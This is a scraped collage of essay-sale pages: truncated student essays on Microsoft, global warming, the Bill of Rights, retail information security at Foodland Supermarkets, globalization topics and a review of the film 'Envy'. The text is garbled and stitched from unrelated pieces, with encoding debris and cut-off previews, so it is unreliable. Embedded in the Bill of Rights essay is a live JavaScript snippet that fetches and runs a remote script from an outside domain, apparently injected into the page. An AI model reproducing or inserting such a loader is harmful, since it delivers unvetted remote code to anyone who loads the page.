Microsoft - 1208 Words

INDIVIDUAL PROJECT: Microsoft 1. Description of Company a. Organizational Description – Microsoft is a computer company based out of Washington. Since the launched in 1975, the company has grown to be the leading software organization in the world, providing services to Fortune 500 companies, predominate universities, and in the homes of millions of citizens. Microsoft is responsible for the creation of every day uses for us today, such as operating systems, graphical user interfaces (GUI), Microsoft Word, Microsoft Excel, and most importantly, the Xbox. b. History – Paul Allen approached Bill Gates about starting a company that would develop and sell parts for the Altair 8800, which was the first personal computer to†¦show more content†¦* Joint Ventures Barnes amp; Noble, GE Healthcare, and BesTV k. Market * Computer software industry – Software remains one of the most innovative and fastest growing areas of the global economy, generating revenues of more than $150 billion every year. About half of those sales come from software applications, with the remainder split between development tools and things like operating systems and security software. Microsoft leads the market in most of the categories. 3. Internal Analysis l. Financial Assessment Overview, including market performance – In 2014, Microsoft generated $86,833,000 in sales, with a net profit of $22,074,000. Although the company is still behind its main competitor, Apple, they are still holding strong in market performance. Since 2011, the market price has consistently gone up, increasing by nearly 96% over the past four years. With innovative products like the Surface, Microsoft is moving in the right direction. 4. Business Strategy Analysis m. Products – Surface, Windows, Microsoft Office, Xbox One, and Bing n. Customer Value Proposition – There is still a large customer base, and Microsoft prides itself as being able to add value to people’s lives. Especially with the success of the Xbox console, which allows entertainment assets to be developed within the company –Show MoreRelatedMicrosoft, Microsoft And Microsoft1184 Words   |  5 Pagescharges in 1998 against the software company, claiming that Microsoft had taken over the internet browser competition and limited consumer choice. In view of antitrust regulation in the US and EU, and increasing competition in the desktop software market, Microsoft was determined to move beyond the PC software industry. By formally recognizing the emerging business opportunities introduced by the new internet era (â€Å"Web 2.0†), Microsoft began to reinvent itself. It wanted to extend its software productsRead MoreMicrosoft : Microsoft Search Case1469 Words   |  6 PagesMichael Spiotta Dr. Heppard Microsoft Search Case Study September 29, 2014 1. Microsoft has been fighting competitors in the Operating System fields as well as the Search field for many years. After Apple launched its new Macintosh computer, Microsoft came out with its first production of Windows which had a graphic user interface. Microsoft had 95% of all OS on individual PC’s in the 2000’s where apple only had about 2%-3% (Rivkin 2). A new venture that Microsoft was working toward was applicationRead MoreMicrosoft At Its Best : Microsoft1852 Words   |  8 PagesMicrosoft at its Best Microsoft undoubtedly is a great Fortune 500 company that licenses, manufactures, develops, and fortifies an astronomically immense slew of accommodations and products concentrated to computing through its many product divisions. Microsoft has risen to control the home computer market with MS-DOS, shadowed by the Windows platform. This organization has branched out in current years to involve themselves into not only the phone industry but withal the video game business withRead MoreMicrosoft And Microsoft s History Essay3292 Words   |  14 Pages Microsoft Corporation 1. Microsoft’s History: Bill Gates established Microsoft (initially named Micro-Soft) in 1975 in the wake of dropping out of Harvard at 19 years old and collaborating with High School companion Paul Allen to offer a rendition of the programming dialect BASIC. Entryways moved Microsoft to Seattle in 1979 and started creating programming that let other compose programs, in this manner the cutting edge PC was conceived in 1980 when IBM pick Microsoft toRead MoreMicrosoft History1423 Words   |  6 PagesBackground The beginning of Microsoft Inc. started with Bill Gates and Paul Allen writing computer program code for local businesses and municipalities. In 1975 they were inspired by an issue of Popular Electronics that showed the new Altair microcomputer kit, manufactured by MITS Computer. Bill Gates and Paul Allen wrote a version of BASIC, a computer programming language, for the machine. Later that year Bill Gates left Harvard University to work full time developing programming languages forRead MoreMicrosoft Analysis1396 Words   |  6 PagesABSTRACT: This assignment tries to assess the current market status of Microsoft Corporation. As well this assignment will try to assess its current market position as per its business units, functionality, and also its different operations sectors as well its strategies for its rivals. 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Rates vary depending on whether youRead More Microsoft Essay1922 Words   |  8 PagesMicrosoft There have been many arguments and issues that have been raised with the controversy over Microsoft and the U.S. Department of Justice’s claim against Microsoft and its founder Bill Gates of monopolistic practices in bundling its internet browser â€Å"Internet Explorer† into its popular Windows computer operating system. By doing this, Microsoft would effectively crush its competitors (it’s main rival being Netscape Navigator), and acquire a monopoly over the software that people use toRead MoreMicrosoft Paper2105 Words   |  9 PagesMicrosoft Case Team 7: Executive Summary Microsoft (MS) is a multinational computer technology corporation that develops, manufactures, licenses, and supports a wide range of software products for computing devices. In the mid 1990’s, Microsoft held the monopoly in the production of Operating Systems (OS) for personal computers (PC). When their monopoly was threatened by Netscape, MS began bundling the Internet Explorer (IE) web browser with Windows, using cross-promotional deals with internetRead MoreMicrosoft Corporation4397 Words   |  18 PagesIntroduction Microsoft Corporation is a multinational company based in Redmond Washington. The company manufactures computer products and offer computer services. The company also licenses and supports various types of computer products and services. Microsoft Corporation was founded in 1975 by Bill Gates and Paul Allen. The company is the largest software manufacturer globally in terms of revenue. It is also the most valuable organization in the world. Bill Gates and Paul Allen founded the company

The Inevitable Truth Of Global Warming - 1952 Words

Noah C Oetting Paul Stabile Scientific Technical Report Writing March 30th, 2015 The Inevitable Truth My dream is to live in a world where I can walk outside and know I live in a clean environment where I don’t have to worry about what my grandchildren’s grandchildren might have to deal with during their lives. Earth’s climate is facing a dramatic turn of events and becomes more and more unpredictable every year. Why is this happening? Many people ask. The clear answer is facing all of us, yet some of Americans don’t want to believe it. The answer is global warming. Many people believe global warming is a hoax or a bunch of nonsense evidence constructed by the government; however, it is real and has a major effect on our world. Sea levels will rise, carbon dioxide along with green house gas levels will rise, wild life will die off, and the human race will not be ready for these consequences. Firstly, Earths largest problem, and arguably the most detrimental to its health is the drastic and sudden increase in carbon dioxide and green house gas levels: The WMO’s data for 2013 shows the global average level of atmospheric carbon at just under 400 parts per million, about 40 percent higher than in  ­pre-industrial times and higher than in any other period in at least 800,000 years. (Warrick.) This upsurge emanates numerous problems. Increases in CO2 levels lay the foundation for many of Earth’s additional problems such as the rise in sea level, temperature, and itsShow MoreRelated The Severe Effect of Global Warming Essay1266 Words   |  6 PagesGlobal Warming When we think of global warming, we think about Air pollution, rise of temperature, melting glaciers, carbon dioxide emissions and so no. But even though we know that these factors could lead to a global catastrophe, very often we do not realize what king of severe effect the global warming could have on our planet. Imagine that you are placed into the future. It is some where around 2050. You begin to live in this new world, but the planet is not the same any more. You hear aboutRead MoreThe Future Effects of Global Warming1574 Words   |  7 PagesThe Future Effects of Global Warming Introduction After several years of scientific debate over the existence of global warming, most experts now agree that global warming exists and may have devastating effects on Earth’s climate. Global warming will influence and/or cause heat waves, polar ice caps melting, flooding, extinction, and droughts. Social, Historic and Intellectual Context of the Study The existing research literature suggests that global warming is going to greatly affect theRead MoreThe Effects Of Global Warming On Our Environment1595 Words   |  7 PagesGlobal warming is already having significant and harmful effects on our communities, our health, and our climate. Sea level rise is accelerating. The number of large wildfires is growing. Dangerous heat waves are becoming more common. Extreme storm events are increasing in many areas. More severe droughts are occurring in others We must take immediate action to address global warming or these consequences will continue to intensify, grow ever more costly, and increasingly affect the entire planet—includingRead MoreAnalyzing the Pressing Issues Described in Ehrlichs Article Essay900 Words   |  4 Pageswe must tell the truth about what’s happening and challenge people to do something to prevent it† – Paul Ehrlich. (Leahy,2013) The future of our planet has been a great concern for the global community for many years. In their article ‘Can a Collapse of Global Civilisation be Avoided?’ Paul and Anne Ehrlich explore the current ecological and socio-cultural trends that they believe, if left untreated, will lead to the inevitable collapse. Unlike past civilizations, the modern global community has theRead MoreAnalysis Of John Broome s Climate Matters With The Intention Of Raising Independent1370 Words   |  6 Pagesof raising independent, yet well-informed ideas of how to ethically stand in a warming world. He questions what should be done both publically and privately and supports his statements through arguments that can be interpreted in whichever way makes the most sense to the reader. Broome logically organized his book so that before he asks moral questions, he reminds the reader in the opening paragraph about the sad truth of climate change. For example, he states the ice caps are melting and in justRead MoreHuman Contribution in Climate Change874 Words   |  4 Pageslandscape. Since the 1800s, the earth has had variant changes in global hemispheric temperature which mostly depicts the decrease of temperature. However, at the start of 1970s, temperature begins to rise up simultaneously in all regions for over roughly a century, an event that was unseen before (Figure 1.1) (Jones, 2011). Furthermore, as earth’s temperature is getting warmer, the ice in the Arctic Ocean began to melt in the warming temperature. The liquidation of the Arctic Ice has been occurringRead MoreQatar And The Concept Of Qatar939 Words   |  4 Pages(broad intergenerational justice)†. Thus, as a consequence of its prosperity, it might seem that Qatar’s resource consumption is ecologically viable and comfortably inside its local carrying capability. This however could not be further from the truth: this perception of sustainability exists only because the Emirate can satisfy for the present (and perhaps for some time in the future) the requirements of its booming population and economic activity. Actually Qatar falls way short of adhering toRead MoreEssay on Global Warming2299 Words   |  10 Pagesâ€Å"wolf cry†-- a cry that is so ridiculous that nobody would believe it. Now that global warming is a major environmental issue, the saying doesn’t sound so out of place. Most people might say: what is global warming? That’s the question that was running through my mind when I first heard we were watching a documentary on it in my class. The film is Al Gore’s An Inconvenient Truth and it is about the causes of global warming and what it is doing to our planet. Being an environmentally involved citizenRead MoreDamage to the Environment Is an Inevitable Consequence of Worldwide Improvement in the Standard of Living937 Words   |  4 PagesDamage to the environment is an inevitable consequence of worldwide improvement in the standard of living Damage of the environment is an inevitable consequence of worldwide improvements in the standard of living. To what extent do you agree or disagree? From my point’s view, I’m truly agreed with this statement. The continual improvements of our living today have an impact on the environment, this consequence is seen throughout the world. In order to make our lives better the continue developmentRead MoreIdeological Diversity On Weekly News Magazines1402 Words   |  6 Pagesdefined by Dictionary.com as â€Å" a body of ideas that reflects the beliefs and interests of a nation, political system, etc. and underlies political action.† (â€Å"Ideology†) Weekly magazines, in fact all media, are infused with ideology. Its existence is inevitable. While news magazines strive to provide ideological diversity, the bottom line is that most media exists to promote some sort of ideology. Campbell Brown discussed this topic tonight on Fox News’ Media Buzz. â€Å"When asked if she’s a journalist

The Bill Of Rights Essay Research Paper free essay sample

The Bill Of Rights Essay, Research Paper The Bill of Rights Bill of Rights The first 10 amendments to the US fundamental law are called the Bill of Rights because they provide basic legal protection for single rights. The footings besides applied to the English Bill of Rights of 1689 and the Canadian Bill of Rights 1960, and to similar warrants in the fundamental laws of the American provinces. From the position of two centuries, it can be said that Madison chose good among they pyramid of proposal sin the province. he included all the great rights appropriate for constitutional protection. The US Bill of Rights contains the authoritative stock list of single rights, and it has served as the criterion for all subsequenent efforts to sage guard human rights. The first American usage of the term was in 1774 when the first Continental Congress adopted the declaration and resolutenesss, which was popularly termed the Bill of Rights because it was an American equivalent of the English Bill of Rights. Two old ages subsequently came the Virginia declaration of rights, which R / gt ; contained the first warrants for single right individual gully enforceable fundamental law. The typical characteristic of the proviso in American Bill of Rights is that they are enforced by the tribunals. From the clip they foremost settled in Virgin and Massachusetts, the American settler relied upon the rights enjoyed by Englishmen. The battle for independency, nevertheless, demonstrated to them that rights non specified and codified in constitutional paperss were insecure. The consequence was a motion every bit shortly as independency was declared, to follow bindings fundamental laws that limited governmental power and protected single rights. Seven of the 13 provinces adopted fundamental laws that included specific measures of rights. The first province measure of rights was the Virginia Declaration of Rights, adopted as portion of the province B # 8217 ; s first fundamental law on June 12,1776. Virginia # 8217 ; s declaration, drafted chiefly by George Manson, served as the theoretical account both for similar province paperss and for the US Bill of Rights. It provided warrants for most of the rights secured in the latter papers. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Strategic Information Security Australian Supermarket Brand

Question: Describe about the Strategic Information Security for Australian Supermarket Brand. Answer: Introduction Background of the selected organization Company Profile Foodland Supermarkets is an Australian supermarket brand, which is operating over one hundred as well as fifteen locations in South Australia. The organization is operated in South Australian for over 50 years. The tagline of the organization is The Mighty South Aussies. With stores of 118, the food store has established an iconic brand in the retail sector of South Australia (Foodlandsa.com.au 2015). The products of the retail store are groceries, food, and drink. The retailers of Foodland are supporting South Aussie sporting, charities, schools as well as community clubs for around 50 years. Some of the competitors of Foodland Supermarkets are Aldi Australia, Coles, and Woolworths. Figure 1: Logo of Foodland (South Australia) (Source: Foodlandsa.com.au 2015) History The Foodland store was established in the year 1962, and after that, the retail store is expanded as well as modified over the years in order to become one of the food shopping center. The founder of the organization is Hoeper Family. Currently, Romeos retail group runs the retail organization. In the year 2005, Metcash owned IGA, which is Australia Supermarket Group, bought the brand of Foodland (Foodlandsa.com.au 2015). In the year 2016, Foodland introduced a new sub-slogan such as "green food lives here" as well as a new advertisement that gives a new version of their slogan The Mighty South Aussies jingle. Current Situation Foodland Supermarkets has the highest market share for their independent supermarket operators within Australia. The market segment of the organization is retail as well as grocery stores. The target group is South Australian, and their positioning supports the community. Foodland has 32 percent of market share of their supermarket retail market within South Australia. The organization has 96 percent awareness rate. Still, it competes with its one of the competitors Aldi that opens in 2016 (Foodsouthaustralia.com.au 2016). Values, vision and mission statement The core values of Foodland (South Australia) are customers those are most important for the business and then it is a community. The retail sector is also committed to the growth of business, and they have long-term supplier relationships (Foodlandsa.com.au 2015). Finally, they give value to right people in a right job and give them safer working environment. The mission of the organization is to provide their customers with exceptional services, great range, gives money value as well as an outstanding shopping experience. The vision of Foodland is to open 22 new stores across South Australia over the next five years. About the research paper The paper is based on current security issues of the selected organization, Foodland Supermarkets. The organization is facing cyber security risk in their retail business operations. It gives a huge impact on their brand reputation, productivity as well as profitability of their retail business. After identifying the current security state of Foodland, some improvement areas are also discussed so that the organization can overcome the security issues. If Foodland Supermarket should follow the information security strategies, which are suggested, to the organization, then they can make security improvements in their business operations. Security risks in Foodland Supermarkets Current security state of the selected organization Foodland respects the privacy and safeguards the personal information that provides through the website. However, the recent research shows that Foodland Supermarkets are likely to report cyber crime incidents (Kang Gray 2013). The food retail sector faces cybercrime threats from the factors such as cyber criminals seek to obtain financial account as well as customer data. The threats actors have targeted the point of sale system, customer databases, financial data of the organization and stored personally identifiable information (Fielke Bardsley 2013). The personal information of their customers is hacked by a hacker, and it is then misused. Foodland will retain the personal information in their companys database to serve better to their customers (Whitman Mattord 2014). The personal information is shared with the vendors and collaborates so that they can extend offers through coupons and promotions (Harrington 2014). The information is also used to verify the identity of the cu stomers to process payments for purchases through the website. As Foodland Supermarkets, operate an online website for selling off their food products, therefore online fraud is also increasing on a daily basis (Huang Gamble 2015). Due to three main factors, the Australian consumers are attracted to online shopping such as low price, wide range of goods as well as convenience (McHenry 2013). Online fraud is done due to fraudulent card use. The hackers steal the details of the payment card without aware the card owner. The fraudsters act as the customers if they have genuine cards. The chip technology is considered as a most secured payment method as compared to traditional credit card magnetic strips (Venkatesh, Rathi Patwa 2015). The magnetic strips consist of unchanging data that are used by the fraudster purchases until the cancellation of the card. The card with an EMV chip generates one-time transaction code, which is not used for any other in-store transaction. Figure 2: Types of Security Risks (Source: Venkatesh, Rathi Patwa 2015, pp-160) Possible security challenges Foodland Supermarkets are increasing the use of technology such as in-store Wi-Fi as well as the internet of things initiatives used to improve the customer experience (Foodsouthaustralia.com.au 2016). Through advanced threat monitoring, Foodland Supermarkets has identified top vulnerabilities so that the retailers should be aware to safeguard their business as well as protect the customers from the security threats. Internet of things: According to Williams, Hardy and Holgate (2013), the retail IoT market will worth $35 billion by the year 2020 as the retailers invest in IoT. It is done in order to manage inventory, mobile payments, shopper intelligence as well as the creation of advertisement and inventory (Foodsouthaustralia.com.au 2016). IoT creates challenges for the retailers, which are required to overcome. Use of Wi-Fi: Foodland has started to leverage public Wi-Fi for giving service to their customers (Bruwer Rawbone-Viljoen 2013). It is done to increase sales as well as gain valuable consumer data. The wireless networks should require deploying and manage so that it overcomes with major consequences, as the network might be un-encrypted. Card payment fraud: This kind of fraud occurs mainly occurs when the cardholder are not physically present at the time of payment such as online transactions (Smith 2013). It occurs, as the cards are not protected by chip as well as Pin. This type of fraud is also called credit card fraud as it involves payment card such as debit as well as a credit card at the time of the online transaction (Shapiro Varian 2013). Due to this security issues, it affects the brand reputation as well as the profitability of the organization. Data security breaches: The hackers steal the data of the customers and then it is misused by them (Galliers Leidner 2014). The hackers get the information of the customers when they share it on the website of the company at the time of purchasing of products. At that time, when the customers enter their personal information into the website of the organization, then the hacker steal that information and then they use it for any other purposes (Williams, Hardy Holgate 2013). Therefore, the organization requires eliminating the historical data of the customers when it is of no use. It will overcome the security issues of data breaches. Impact of security risk on the business operations The beaches result into negative global publicity, loss of the values of shareholders, reduction in profit as well as spend millions of dollars in mitigation of beaches. It also erodes the trust of the customer and brand reputation (Shapiro Varian 2013). The research shows concerns about the security of personal as well as payment data. Those beaches increase the concern of the retailers about their in-store security. The employee's at the retail food company discover that the network of the company has compromised when the customer start to report that the online ordering system is poor (Amrollahi, Ghapanchi Najaftorkaman 2014). The following are the factors that influence future targeting within the food retail sector as follows: Cyber criminals should take advantage of the busy holiday season to steal the details and information of the customers (Ucakturk Villard 2013). They can also compromise with retailer payment system at that time when a high volume of activities within the organization should take place. When Foodland Supermarkets develop new food and drink products, then the hackers can obtain proprietary information related to the new product (Yaokumah Brown 2014). The cyber criminals should target the retail sector when the companies should adopt new payment system; then they take advantage of undetected vulnerabilities as well as security flaws in the system (Mejias Balthazard 2014). The security of the data is more than the information technology issue. It is marketing issues as it provides great customer service imply the protection of the customers data. Njenga (2014) researched that the companies those are facing data breaches react negatively. The companies can lose 3 percent of their market value due to consequences of a data breach. Those incidents violate the trust of the customers. It is not the loss of trust by the current customers but a negative word of mouth, especially through social media. Customer data breaches result into bad publicity for the company (Williams, Hardy Holgate 2013). The research shows that the market value of the Foodland Supermarkets suffers a negative impact such as they can lose nine percent of their market value within 30 days (Foodsouthaustralia.com.au 2016). The marketers are reacted severely due to data breaches as the food retail sector can be fickle as well as they are not loyal to brands (Yaokumah Brown 2014). A breac h of any size leads to a strategic blunder by the market. Suggestions for improvement in security Strict privacy policies: Foodland should adopt electronic and procedural privacy policies in order to protect the information of their customers (Mejias Balthazard 2014). The website vendor is required to document confidentiality policies. Strict information security measures are required to implement in the organization to ensure that the industry standards are protected against unauthorized access of personal information. Foodland should implement data security measures, and regular penetration testing should be done on the websites as well as servers. Follow CNSS model: Foodland Supermarkets should adopt CNSS model for their organization so that it gives a detailed perspective of the security measures. It consists of three dimensions of security such as confidentiality of the data, integrity as well as the availability of the required data (Whitman Mattord 2014). It helps the organization to protect the information as well as customer's data are secured. Elimination of historical data: the Timely destruction of the historic data as per the data retention policies as well as procedures of the company should help to eliminate security issues such as data accuracy as well as security beach. Implementation of a new database system: A new system should be implemented during the IT upgrade of the organization (Amrollahi, Ghapanchi Najaftorkaman 2014). The company should remove histrionic data of the customers from the old database system before making IT changes. The new database system should be updated as well as maintained properly so that it will not outdated. The outdated information system should not give wrong information, which will be an issue for the organization. Fraud control measures for cards: Tighter procedures should be taken by the organization such as remote verification of the card is required to check its limit if it has stolen. Computer chip-based cards should replace the magnetic stripe of the smart card. This chip should be similar to the chip, which resides in the personal computer (Mejias Balthazard 2014). It consists of data such as magnetic stripe as well as a microprocessor, which undertake computations. Contingency plan: Foodland Supermarkets should require adopting post-breach protocol of how they will inform of data breaches as well as compensate their consumers (Whitman Mattord 2014). A good contingency plan can help to generate goodwill. A Proper plan should be done by the business analyst so that they can adopt a good contingency plan to improve their security issues. Establishment of IT governance: As Foodland Supermarkets is conducted online, therefore the establishment of IT governance program is required to integrate processes as well as technology to deliver security needs of the organization (Galliers Leidner 2014). It will reduce the cost of operations as well as eases the burden of regulation. Advantage of National Institute of Standards and Technology (NIST) framework: The NIST cyber security framework integrates the cyber security practices that are being developed by NIST. The framework consists of a risk-based compilation of the guidelines as well as provides with assessment designed to determine the current security capabilities (Amrollahi, Ghapanchi Talaei-Khoei 2014). It improves the data security, risk assessment, business strategy as well as response plans. Conclusion It is concluded that the food retail sector faces cybercrime threats from the factors for example; cyber criminals try to acquire related money record and client information. The threats actors are targeted on the purpose of offer framework, client databases, and monetary information of the association and put away by and by identifiable data. Foodland has started to leverage public Wi-Fi for giving service to their customers, and there are threats in the network. Card payment fraud is a most vital security threat as it steals the money of the customers. It mainly occurs when the cardholder is not physically present at the time of payment such as online transactions. After identifying the security risks, the organization requires mitigating those risks. Some of the suggested improvement strategies are that Foodland Supermarkets require implementing strict privacy policy in their organization. Foodland should execute information security measures to establish safety as well as regular penetration testing ought to be done on the sites and also servers. PC chip-based cards ought to supplant the attractive stripe of the smart card. This chip ought to like the chip, which dwells in the PC. It comprises of information, for example, attractive stripe and chip, which embrace calculations. The NIST framework should be implemented which comprises of risk-based arrangement of the rules and also provides with assessment designed to decide the present security capacities. References Amrollahi, A, Ghapanchi, AH Najaftorkaman, M 2014, A Generic Framework for Developing Strategic Information System Plans: Insights from Past Three Decades, InPACIS(p. 332). Amrollahi, A, Ghapanchi, AH Talaei-Khoei, A 2014, Three decades of research on strategic information system plan development, Communications of the Association for Information Systems,vol. 34, no. 1, p.84. Bruwer, J Rawbone-Viljoen, C 2013, BYOB as a risk-reduction strategy (RRS) for wine consumers in the Australian on-premise foodservice sector: Exploratory insights,International Journal of Hospitality Management,vol. 32, pp.21-30. Fielke, SJ Bardsley, DK 2013, South Australian farmers markets: tools for enhancing the multifunctionality of Australian agriculture, GeoJournal,vol. 78, no. 5, pp.759-776. Foodlandsa.com.au. 2015.About Foodland | Foodland SA. [online] Available at: https://www.foodlandsa.com.au/foodland/about-foodland/ [Accessed 31 Aug. 2016]. Foodsouthaustralia.com.au. 2016.Foodland announces major expansion program | Food South Australia: Feeding Connections. [online] Available at: https://foodsouthaustralia.com.au/2015/11/foodland-announces-major-expansion-program/ [Accessed 31 Aug. 2016]. Galliers, RD Leidner, DE 2014,Strategic information management: challenges and strategies in managing information systems. Routledge. Harrington, SL 2014, Cyber Security Active Defense: Playing with Fire or Sound Risk Management?,Rich. JL Tech.,vol. 20, pp.12-14. Huang, Q Gamble, J 2015, Social expectations, gender and job satisfaction: Frontà ¢Ã¢â€š ¬Ã‚ line employees in China's retail sector,Human Resource Management Journal,vol. 25, no. 3, pp.331-347. Kang, H Gray, SJ 2013, Segment reporting practices in Australia: Has IFRS 8 made a difference?,Australian Accounting Review,vol. 23, no. 3, pp.232-243. McHenry, MP 2013, Technical and governance considerations for advanced metering infrastructure/smart meters: Technology, security, uncertainty, costs, benefits, and risks, Energy Policy,vol. 59, pp.834-842. Mejias, RJ Balthazard, PA 2014, A model of information security awareness for assessing information security risk for emerging technologies, Journal of Information Privacy and Security,vol. 10, no. 4, pp.160-185. Njenga, K 2014, Symmetry in Social Construction during ERP Implementation: A Systems Security Perspective,International Journal of Business and Social Research,vol. 4, no. 3, pp.137-153. Shapiro, C Varian, HR 2013,Information rules: a strategic guide to the network economy. Harvard Business Press. Smith, D 2015, Data breaches sink senior management careers.MHD Supply Chain Solutions,vol. 45, no. 5, p.64. Ucakturk, A Villard, M 2013, The effects of management information and ERP systems on strategic knowledge management and decision-making.Procedia-Social and Behavioral Sciences,99, pp.1035-1043. Venkatesh, VG, Rathi, S Patwa, S 2015, Analysis on supply chain risks in Indian apparel retail chains and proposal of risk prioritization model using Interpretive structural modeling, Journal of Retailing and Consumer Services,vol. 26, pp.153-167. Whitman, M Mattord,, H 2014,Management of information security. 4th ed. Boston: Thomson Course Technology. Williams, SP, Hardy, CA Holgate, JA 2013, Information security governance practices in critical infrastructure organizations: A socio-technical and institutional logic perspective, Electronic Markets,vol. 23, no. 4, pp.341-354. Yaokumah, W Brown, S 2014, An empirical study into information security governance focus areas and their effects on risk management, InInformation and Computer Technology (GOCICT), 2014 Annual Global Online Conference on(pp. 42-49). IEEE.

20 Classification Essay Topics on Globalization

20 Classification Essay Topics on Globalization Welcome to our second guideline, 20 classification essay topics on globalization. In this guide, we are going to discuss 20 relevant topics on globalization. You can choose any one of them to start writing immediately. Of course, we have also shared a sample essay with you that would let you know how an essay should be written. But before you read further, we want you to read our first guide first, if you haven’t read it yet. Reading this guide before that one, may confuse you more which, in result, may hinder you from writing the perfect classification paper  you want written immediately. Our previous guide, 10 facts for a classification essay on globalization, covers what it says. It covers 10 facts on globalization from credible sources. These facts would give you the basic idea of what globalization really is, what are its effects and impacts on the world. After reading this guide, we highly urge you to read our final guide first before heading on to compose your classification essay on globalization. Our third guide, writing guide for classification essay on globalization, talks about the methodologies, formats and outlines of writing and beautifying your essay during the composition. It’s a must read and you shouldn’t skim through it. Without further ado, here are 20 topics on globalization: Negative Impact of Globalization on Underdeveloped Countries The History of Globalization and How it All Started After the Cold War The Risks and Chances of World War III Due to Globalization How Globalization Helped Villages to Convert into Cities How Globalization Is Reducing Lifespans Worldwide Can Globalization Become the Ultimate Weapon to Spread Infectious Diseases? How and Why Globalization Has Increased Child Prostitution in Many Countries The Impact of Globalization on Multinational Companies and Organizations The Role of Globalization on Local Culture, Societies and Religion Values How Globalization Has Provided Greater Access to Foreign Products The Dominance of United States on the World and How it Affects Worldwide The Types of Globalization and its Impact on the World The Reason Why Asian Markets Affect American Markets Political Globalization and its Effect on the World The Relation Between Globalization and Global Warming How Globalization Has Spiked Oil Prices in the Whole World Globalization – How it Encourages Countries to Depend on other Countries for Essential Goods and Services Which Countries Really Initiated the Globalization Process? How Globalization Has Affected Drug and Human Trafficking An In-Depth Classification Essay on Globalization and How it Can Unite the World Great! Now you have 20 topics to choose from and start writing. Here is a sample essay which would assist you in writing better. We have chosen one of the above topics so it becomes easier for you to grasp how a classification essay is really written. Here it is: Sample Essay: The History of Globalization and It’s Start after the Cold War Globalization is the way the world works today. It helps individuals, organizations and countries communicate with each other by bridging almost all kind of gaps. It would not be entirely wrong to state that it is globalization that has helped people come closer, and a lot of credit for this goes to improving technology. Globalization has huge effects and on all four corners. It changes culture, politics, financial growth and success with respect to humans around the world. In two ways, the end of the cold war had a major impact on global leaders, especially those in control of strategy and politics. It highlighted the restrictions on community, highlighting boundaries or maximum capacity of a community. The second effect was freeing of thoughts, as communities started to have global links with each other and the word began to spread. Some major issues back then were of inequality and conflict. The conflict between The Soviet Union and the US started a war where both countries tried to get as militarized as possible. The same issue cause inequality, as some countries grew and had strong military while some were very weak on that front. As a result, the end of the cold era put some countries on a different pedestal and some down. Countries like America, Japan had means to grow economically while some were striving to do better. A major reason for this growth was the growth in technology, including transportation and communication. On the positive note, this growth brought countries together as first world countries made a group of strong countries and third world countries turned to them to improve their economies by learning the latest technologies and growing like others. As the Soviet Union and the US competed to push each other’s government, they helped boost the world economy. But, as stated earlier, this was not evenly distributed. This helped setup future for the rest of the world as both superpowers had their own allies. The US supported Japan, winning an ally and The Soviet Union joined hands with other countries. This alliance gave a boost to the economy overall as each superpower helped its allies strengthen its economy so that it could have help in case things got worse in the future. This resulted in globalization as countries joined forces and also changed loyalties in some cases, at times due to changing economic climate and at times to meet the changing demands. One of the biggest changes was in the education section as countries understood the need to get educated and sent foreign delegates for a transfer of education, not only in the form of humans but also in the form of books and other such items. A small amount of attention was paid to how these various parts of education can be settled in a single layout. This is what put the form of globalization and it is there even today, but in a more progressive manner. There you have it. You now have 10 facts for a classification essay on globalization, 20 essay topics on globalization, now all that remains is reading the writing guide for essay on globalization, which is our final guide. Let’s head on to that guide and then we’ll leave you to start writing your classification paper  on your own. If you haven’t read our first guide, we highly recommend that you do that before you move on further. Skipping any of the guidelines would actually blur your understanding. References: St. Rosemary Educational Institution. Types of Globalization. Rosemary Educational Institution. http://schoolworkhelper.net/types-of-globalization/ Sandu Cuterela, (2012) â€Å"Globalization: Definition, Processes and Concepts† Revista Romà ¢nÄÆ' de StatisticÄÆ' – Supliment Trim  revistadestatistica.ro/suplimente/2012/4/srrs4_2012a22.pdf Simon Reich, (1998), â€Å"What is Globalization?† Working Paper #261, The Helen Kellogg Institute for International Studies  https://www3.nd.edu/~kellogg/publications/workingpapers/WPS/261.pdf David A. Deese, â€Å"Globalization: Causes and Effects† Boston College, USA.  bc.edu/sites/libraries/facpub/deese-globalization/book.pdf Pearson UK, â€Å"Chapter One: Globalization† Part I: Global Business Environment; HE Educators  http://catalogue.pearsoned.co.uk/assets/hip/gb/hip_gb_pearsonhighered/samplechapter/0273752634.pdf Amin, A., Thrift, N. (1995). Globalization, institutions, and regional development in Europe. Oxford university press. Rodrik, D. (1997). Has globalization gone too far?. California Management Review, 39(3), 29-53.

Envy essays

Envy essays Director Julie Money's Australian feature veers slightly around the usual themes, but creates an interesting and new mix of character study, role reversal, and sexual politics. The story is basic, but its presentation is tantalisingly different. Envy opens with a fragment from a scene that doesn't appear fully until the film's climax. It draws the audience into confusion, and sets up the possibilites for unconventional storytelling. Envy grabs the attention immediately as the camera settles on young, blonde and nervous-looking Rachel at a suburban shopping mall. As if caught by a surveillance camera, she looks briefly down the lens (and directly at us in the audience) before leaving the frame. Later we will discover the significance of this moment but for now it's all the information we're given as the destinies of Rachel (Anna Lise Phillips) and Kate (Linda Cropper) collide. At a public swimming pool, Kate, a married professional recognises what she believes to be her stolen black dress being worn by Rachel, a beautiful young thief. While Rachel is swimming, Kate reclaims her dress and bolts. The actions turn Kate's family upside-down and unwittingly sets off a dangerous chain of events. When Rachel and her two friends come calling for the dress back, the result is a brutal stir in her of passionate revenge, combining a modern woman's power with a dangerous taste for retribution. It's that change in Kate that gives Envy its step above normalcy, its extra set of layers that make it worth watching. Envy explores an ordinary suburban family, mother Kate , father Phil and son Matt, who through a minor act of defiance become the victims of three anarchic young people. On the surface Envy is about a successful, secure middle class woman and a young thief fighting over possession of a black dress. Underneath it's about class and sexual politics - rich topics given a vivid examination after Kate's house is invaded by Rachel and tw ...

The different between coffins and caskets Research Paper

